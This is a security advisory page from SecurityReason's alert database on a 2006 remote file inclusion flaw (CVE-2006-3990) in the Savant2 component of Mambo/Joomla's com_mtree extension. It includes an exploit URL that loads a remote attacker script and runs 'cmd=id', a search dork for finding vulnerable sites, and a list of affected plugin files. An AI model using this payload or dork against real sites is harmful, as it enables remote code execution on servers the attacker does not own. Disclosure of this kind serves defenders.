SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

Savant2 Remote File Include Vulnerability [For Mambo, Joomla]


Arrow  SecurityAlert : 1324
Arrow  CVE : CVE-2006-3990
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : botan linuxmail org
Arrow  Published : 08.08.2006

Arrow  Affected Software : Savant2



Arrow  Advisory Content :  

>>> Kurdish Security

>>> Savant2 Remote File Include Vulnerability

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhac % www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : Savant2

>>> Site : www.phpsavant.com

>>> Thanx :
kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca
and other my friends

d0rkiz : "com_mtree"

------------------------------------------------------------------------
----------

/**

* Base plugin class.

*/

global $mosConfig_absolute_path;

require_once
$mosConfig_absolute_path.'/components/com_mtree/Savant2/Plugin.php';

/**

For mambo and joomla

http://www.site.com/[mam_jom_path]/components/com_mtree/Savant2/Savant2_
Plugin_stylesheet.php?mosConfig_absolute_path=EvilScript.txt?&cmd=id

used link :]

Savant2_Compiler_basic.php

Savant2_Error_pear.php

Savant2_Error_stack.php

Savant2_Filter_colorizeCode.php

Savant2_Filter_trimwhitespace.php

Savant2_Plugin_ahref.php

Savant2_Plugin_ahrefcontact.php

Savant2_Plugin_ahreflisting.php

Savant2_Plugin_ahreflistingimage.php

Savant2_Plugin_ahrefmap.php

Savant2_Plugin_ahrefownerlisting.php

Savant2_Plugin_ahrefprint.php

Savant2_Plugin_ahrefrating.php

Savant2_Plugin_ahrefrecommend.php

Savant2_Plugin_ahrefreport.php

Savant2_Plugin_ahrefreview.php

Savant2_Plugin_ahrefvisit.php

Savant2_Plugin_checkbox.php

Savant2_Plugin_cycle.php

Savant2_Plugin_dateformat.php

Savant2_Plugin_editor.php

Savant2_Plugin_form.php

Savant2_Plugin_image.php

Savant2_Plugin_input.php

Savant2_Plugin_javascript.php

Savant2_Plugin_listalpha.php

Savant2_Plugin_listingname.php

Savant2_Plugin_modify.php

Savant2_Plugin_mtpath.php

Savant2_Plugin_options.php

Savant2_Plugin_radios.php

Savant2_Plugin_rating.php

Savant2_Plugin_stylesheet.php

Savant2_Plugin_textarea.php




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server
Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability
PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)
ADT

Protect your family and valuables with Home Security Systems
Copyright © SecurityReason.com. All Rights Reserved.